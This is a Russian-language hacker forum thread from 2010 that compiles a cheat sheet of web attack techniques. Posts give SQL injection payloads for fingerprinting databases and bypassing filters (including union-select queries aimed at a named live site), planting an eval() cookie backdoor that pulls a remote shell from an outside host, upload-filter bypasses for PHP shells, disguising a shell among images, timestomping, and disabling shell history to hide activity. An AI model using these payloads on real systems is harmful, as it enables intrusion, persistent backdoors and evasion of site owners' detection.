Старый 06.07.2010, 13:30   #1
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 252
Репутация: 155
По умолчанию Шпаргалка

В теме будут собраны маленькие шпаргалки по всем необходимым направлениям, которые не тянут на статьи и обзоры и умещаются в один пост.
Тема видится достаточно нужной и перспективной, поэтому посты останутся только максимально полные и действительно нужные, всё остальное пойдёт под снос.


================================================== ======================================

Определяем тип СУБД

MySQL

id=1+procedure+analyse()
id=1+and+concat_ws(1,1)=1
id=1+and+connection_id()=connection_id()

MSSQL

id=1+and+len(@@version)=len(@@version)
id=1+and+(@@TEXTSIZE>@@LANGID)

PostgerSQL

id=1+and+1=1::int // Informix тоже держит такой синтаксис, но она крайне редка, так что пока оставлю
id=1+and+pg_backend_pid()=pg_backend_pid()
id=1+and+5432=inet_server_port()

Access

id=1+and+1=StrConv(1,1)
id=1+and+Sgn(1)=Sgn(1)

Oracle

id=1+and+instr4(1,1,1,1)=1
id=1+and+rownum=rownum

Sybase

id=1+and+inttohex(10)=inttohex(10) // не уверен в уникальности, вроде прошарил гугл, но не факт


Interbase/Firebird (tnx Corwin)

id=1+and+GEN_UUID()!=GEN_UUID()
(uuid_to_char() и char_to_uuid()) // Firebird начиная с версии 2.5
id=1+and+UUID_TO_CHAR(GEN_UUID())!=UUID_TO_CHAR(GE N_UUID())


Если у кого-то есть УНИКАЛЬНЫЕ функции для определения, отписываемся, я добавлю в этот пост

Спасибо: nikp l1ght oRb RulleR Ded MustD!e

Последний раз редактировалось Jokester; 22.02.2012 в 20:48..
Jokester вне форума   Ответить с цитированием
Старый 06.07.2010, 13:41   #2
Grey
 
Аватар для Grey
 
Регистрация: 30.06.2010
Сообщений: 38
По умолчанию

Перезаливка шелла через eval()

К сожалению, как я мог наблюдать, для многих это является проблемой.
Достаточно частый случай когда можно добавить небольшой php код, в темплейт или просто в какой либо php файл.

Что лучше добавлять?

Многие вместо eval() добаляют system():
Но это не разумно - safe_mode = on или просто отключение функции system() через disable_functions не только не дадут что либо сделать, но и могут поставить в тупик не опытного пользователя.
ЛУчше использовать eval().

Далее частая ошибка, это использование не глобальной переменной:

eval($ev)
При register_globals = off код будет бесполезен.

Использовать $_GET тоже не советую - лишние записи в логах не нужны.
Как показала практика удобнее всего использовать $_COOKIE. Для этого нужен какой либо редактор куков - но тут проблем быть не должно (в опере есть встроенный редактор, а для фф плагины).

И так определились код eval($_COOKIE[ev]);

Алгоритм такой:

Смотрим phpinfo() (для этого создаём "ev=phpinfo();"):

1. allow_url_include = On

Значит можно проинклудить шелл.
Вариант ev=include('http://site.com/shell.txt'); может не проканать из-за magic_quotes_gpc = On. Тут предлагаю удобное и универсальное решение:

ev=include($_COOKIE[ev2]);
ev2=http://site.com/shell.txt

Советую пользоваться именно таким решением проблемы с magic_quotes_gpc = On т.к. это в разы удобнее чем громадные конструкции с chr().

Собственно это самый удобный способ - т.к. переменные находятся в куках, то шелл будет инклудится при каждом обращение к коду - работа с шеллом будет более чем удобной.

2. allow_url_fopen = On

Т.е. мы будем скачивать шелл с другого сайта.
Если есть уверенность, что какая либо директория доступна для записи - то заливаем шелл в неё:

ev=copy($_COOKIE[ev2],$_COOKIE[ev3]);
ev2=http://site.com/shell.txt
ev3=images/image.php

А если такой уверенности нету, то заливаем шелл в /tmp:

ev=copy($_COOKIE[ev2],$_COOKIE[ev3]);
ev2=http://site.com/shell.txt
ev3=/tmp/phpJ5d4Nb

а затем просто инклудим его как в пункте 1:

ev=include($_COOKIE[ev2]);
ev2=/tmp/phpJ5d4Nb

3. Если же allow_url_include = Off и allow_url_fopen = Off

То делаем как вариант залить шелл со своего компа, для этого делаем следующие куки:

ev=move_uploaded_file($_COOKIE[ev2],$_COOKIE[ev3]);
ev2=$_FILES["upload_file"]["tmp_name"]
ev3=/tmp/phpJ5d4Nb

А теперь делаем html форму:

Код:
<form enctype="multipart/form-data" action="http://targer.com/template.php" method="post">
<input name="upload_file" type="file">
<input type="submit" value="enter">
</form>
http://targer.com/template.php - адрес до скрипта, в котором находится код eval($_COOKIE[ev]).
Куда заливать форму - разницы нет, можно открыть и со своего компа. Далее отправляем файл, файл зальётся в указанную директорию (в данном случае в /tmp ev3=/tmp/phpJ5d4Nb).
Ну, а дальше в зависимости от того куда залили шелл или обращаемся к нему на прямую, или инклудим (если заливали в /tmp).

К сообщению ниже:

Может, так, как предлагаешь ты и проще, но при safe_mode = On ты не сможешь использовать ls -lah.
И кстати использовать copy() при заливки файлов с компа тоже не всегда вариант - т.к. при open_basedir она может не работать.
И я как бы предложил, хоть и более сложные, но наиболее универсальные варианты (с учетом safe_mode = On и отсутствием директорий доступных для записи).

P.S.

Цитата:
Сообщение от Ido Посмотреть сообщение
А что делать, если в куки отфильтровывается ";" ?
Через плагин в ФФ создаю куки, прописываю туда "phpinfo();" и сохраняю. Стоит мне их просмотреть, как там "phpinfo()" без точки с запятой. Таким образом невозможно указать конец данных для evla(), и просто вылетает ошибка.
Цитата:
Сообщение от m0Hze Посмотреть сообщение
phpinfo()%3b

Последний раз редактировалось Grey; 15.07.2010 в 14:07..
Grey вне форума   Ответить с цитированием
Старый 06.07.2010, 19:22   #3
Beched
 
Регистрация: 06.07.2010
Сообщений: 395
Репутация: 118
По умолчанию

Для MySQL ещё кстати можно использовать конструкцию с /*! ... */, но перечисленного итак хватит.
Beched вне форума   Ответить с цитированием
Старый 06.07.2010, 19:28   #4
scipio
 
Регистрация: 06.07.2010
Сообщений: 1
Репутация: 2
По умолчанию

в SYBASE ASE c 12.5 есть уникальная @@version_as_integer
в IBM DB2 julian_day()
scipio вне форума   Ответить с цитированием
Старый 07.07.2010, 01:29   #5
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 252
Репутация: 155
По умолчанию Минифак по загрузке php кода вместо картинок

Минифак по загрузке php кода вместо картинок

Вариантов ПРОВЕРОК на валидность загружаемых изображений не так много. Основные это:

1 Чёрный список расширений -- отсекает по регулярке запрещённые типы расширений
2 Белый список расширений -- пропускает только нужные расширения
3 Проверка Content-Type
4 Проверка содержания файла getimagesize()

Обходы соответственно:

1 Чёрный список расширений
Не самый надёжный вариант Всегда существует вероятность, что что-то в списке забыто. Пробуем расширения php3 php4 php5 phtml htaccess и т.д.

2 Белый список расширений
Это более грамотное решение, если разрешены только "правильные" расширения, и нет проблем с самим решением, то есть возможность только залить файл с разрешённым расширением и вписанным в него кодом, который впоследствии проинклудить (разумеется если есть инклуд)

3 Проверка Content-Type
Заголовок летит с запросом и соответственно легко меняется на нужный

4 Проверка содержания getimagesize()
1. Картинка с грамотно дописанным в неё кодом переименованная в kartinko.php пройдёт проверку на размер, а благодаря расширению код исполнится.(это зависит от реализации в коде, т.к. если потом к файлу прикручивать расширение выданное этой функцией, или просто грамотно менять расширение, то останется только возможность инклуда полученного файла)
2. Можно вставить код не в сам файл, а в метаданные (любой нормальный редактор изображений поможет). Это тоже позволит обойти проверку размера и проинклудив выполнить код.

Существуют ещё криворукие программеры и бестолковые админы, без них тоже никуда, и поэтому могут получится вот такие (например) варианты:

file.PHP (file.PHP3 и т.д.)-- если в проверке по чёрному списку использовали регистрозависимые функции
file.jpg.php, file.gif.php (и вариации) -- при кривых регулярках
file.php.giflalala, file.php.lalalajpg -- кривые регулярки и mod_mime
file.php%00.gif -- опять-же криворукие программеры (тут несколько вариантов зависящих от реализации, например расширение отрубается при копировании, в функции copy() и мы получаем файл с расширением .php)

Ну и комбинации из этих вариантов. Это конечно не всё, но все варианты не придумать - код везде разный.

Но беда в том, что эти варианты по одному используются редко, и обычно дополнительно к ним идут разнообразные пакости, которые делают невозможным заливку не только файла с произвольным расширением, а и просто кода под инклуд.

Ну во первых это достаточно часто используемый ресайз картинок. Если картинке меняют размер, это начисто порушит всё что вы в неё любовно написали, и исполнить код даже при наличии инклуда не получится.
На некоторых движках (например на булке) ресайз идёт только если вы грузите большую картинку, если меньше допустимого - он не делается, но некоторые движки делают принудительный ресайз всего, а при невозможности его сделать(например вы внаглую льёте php код вместо картинки) - не пропускают файл.
Тут без вариантов.

На некоторых движках расширение файлу прикручивается в коде, а не оставляется то, с которым вы его льёте, где-то идёт приведение картинки к определённому типу, при котором теряются метаданные, и т.д и т.п.

Самих реализаций в коде существует великое множество, есть библиотеки для работы с изображениями, и приводить даже примеры, я не буду...

Тоесть: никаких стопроцентных вариантов нет, всё индивидуально и зависит от движка, настроек php и сервера.

И главное, хотелось-бы что-бы не задавались вопросы "я в админке, как залить?" т.к. есть вариант, что никак, нужно смотреть код, а если нет возможности, то пробывать все варианты, смотреть что получается и действовать исходя из результатов.
Jokester вне форума   Ответить с цитированием
Старый 09.07.2010, 16:37   #6
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

Читаем содержимое файла через инклуд:
Код:
http://localhost/1.php?a=php://filter/convert.base64-encode/resource=1.php
Полученую строку декодим.

Требования: PHP 5.0.0

З.Ы.
Надо в том случае, если нужно прочитать содержимое какого либо пхп файла, а есть только инклуд

З.З.Ы.
Помним, что для include_once и подобных не удасться читать содержимое того же файла, из которого читаешь.
Qwazar вне форума   Ответить с цитированием
Старый 09.07.2010, 16:51   #7
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Цитата:
file.php.giflalala, file.php.lalalajpg -- кривые регулярки и mod_mime
может пригодится как вариант (в одной из версий shop-free такое было) - кривая ругулярка:

PHP код:
$ext end(explode(".",$_FILES["picture"]["name"])); 
if (isset(
$_FILES["picture"]) && $_FILES["picture"]["name"] && preg_match('/(jpg|jpeg|gif|jpe|pcx|bmp$)/i'$ext)) //upload   
        
{   
            
$_FILES["picture"]["name"] = str_replace(" ","_",$_FILES["picture"]["name"]);   
            
$r move_uploaded_file($_FILES["picture"]["tmp_name"], "./products_pictures/".$_FILES["picture"]["name"]); 
варианты обхода:

1. wso.jpg.php
2. wso.php.jpg[а тут просто пробел к примеру]

http://isc.sans.org/diary.html?storyid=6139

Т.е. во втором случае удовлетворяем условию регулярки и создаем несуществующе разрешение, которое апачи отбрасывает, как неизвестное, и переходит к предыдущему. Проверено на 3-х совершенно разных системах (nix). Т.е. wso.php.jpg[а тут просто пробел к примеру] будет обработан как php-код, что можно с успехом эксплуатировать вероятно в многих движках, где неправильная проверка расширения файла. И никаких нулл-байтов.

IIS - wso.php;.jpg

PS: Как вариант для маскировки шелла в папке с картинками:

sdfdsfdsg.php.35432542545.gif[тут пробел]

вызов: http://site/images/sdfdsfdsg.php.35432542545.gif%20

просто при просмотре списка файлов на сервере распознать, что после обычного расширения .gif есть еще что-то (пробел) - проблематично. Фактически можно заметить только при переименовании файла.

Далеко не самый лучший вариант маскировки, но в исключительных случаях лучше, чем ничего
Pashkela вне форума   Ответить с цитированием
Старый 14.07.2010, 10:02   #8
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Получить список всех командных файлов в системе, которые вам доступны, можно вот таким образом:
Код:
for x in `echo $PATH |sed s/:/\ /g`; do echo "=========== $x =========="; find $x -type f |sort ;wait; done
touch на php
Код:
touch('your_shell.php', filemtime('some_file.php'))
инъекция в LIMIT после ORDER BY (не помню первоисточник, авторы, кажется Qwazar и cr0w)
Код:
SELECT id from news ORDER BY 1 LIMIT 1 INTO OUTFILE '/tmp/result11.txt' LINES TERMINATED BY '<?php phpinfo(); ?>'
отменяем запись в .bash_history и .mysql_history
linux
Код:
export HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
freebsd
Код:
setenv histfile /dev/null
setenv MYSQL_HISTFILE /dev/null

поиск сайтов на хосте
Код:
http://spyonweb.com/
http://www.robtex.com/dns
Справочник по консольным командам Windows
Код:
hh ntcmds.chm

Последний раз редактировалось nikp; 16.07.2010 в 20:22..
nikp вне форума   Ответить с цитированием
Старый 15.07.2010, 22:10   #9
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Варианты пробелов в MySQL (извращенская версия)

plain text
%09, %0a, %0b, %0c, %0d, %20, %a0, /**/, +, %23%0a, --%0a

utf8_decode
%c0%09
%c0%0a
%c0%0b
%c0%0c
%c0%0d
%c0%20
%c0%49
%c0%4a
%c0%4b
%c0%4c
%c0%4d
%c0%60
%c0%89
%c0%8a
%c0%8b
%c0%8c
%c0%8d
%c0%a0
%c0%c9
%c0%ca
%c0%cb
%c0%cc
%c0%cd
%c0%e0
%e0%00%09
%e0%40%09
%e0%80%09

urldecode
%2b


Ну и, собственно, из некоторых идей вытекают новые варианты обходов фильтров.

Пример из темы sql-inj:
Код:
http://www.asf.ca/region_news.php?id=1+union+select+concat_ws%280x3a,111,user%28%29,version%28%29,database%28%29,@@version_compile_os%29--

блокируется

http://www.asf.ca/region_news.php?id=1+/*!union*/+/*!select*/+concat_ws%280x3a,111,user%28%29,version%28%29,database%28%29,@@version_compile_os%29--

прием, ставший уже стандартным

http://www.asf.ca/region_news.php?id=1%23/*%0aunion+select+concat_ws%280x3a,111,user%28%29,version%28%29,database%28%29,@@version_compile_os%29--
http://www.asf.ca/region_news.php?id=1--/*%0aunion+select+concat_ws%280x3a,111,user%28%29,version%28%29,database%28%29,@@version_compile_os%29--

и новые вариации
PS: хехе, написал и понял, где-то я это уже видел) "Тернистый путь багоискателя" от Elekt за 2008 год... Странно что способ не прижился)

PPS: %a0 aka "неразрывный пробел" работает не всегда, почему именно, пока затрудняюсь сказать
BlackFan вне форума   Ответить с цитированием
Старый 17.07.2010, 11:53   #10
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

UTF8 и экранирование кавычек

PHP код:
$id utf8_decode(mysql_real_escape_string($_GET['id']));
$zapros="SELECT * FROM news WHERE id='".$id."';"
echo($zapros); 
http://test/script2.php?id=1'
Код:
SELECT * FROM news WHERE id='1\'';
http://test/script2.php?id=1%c0%67
Код:
SELECT * FROM news WHERE id='1'';
http://test/script2.php?id=1%f0%c0%c0%a7
Код:
SELECT * FROM news WHERE id='1'';
http://test/script2.php?id=1%FC%27%27++and+1=1+--+
Код:
SELECT * FROM news WHERE id='1?' and 1=1 -- ';
Подсмотрел у Nibbles в сплоите в разборе задания с Night da Hack 2010 (правда там в sqlite)
BlackFan вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot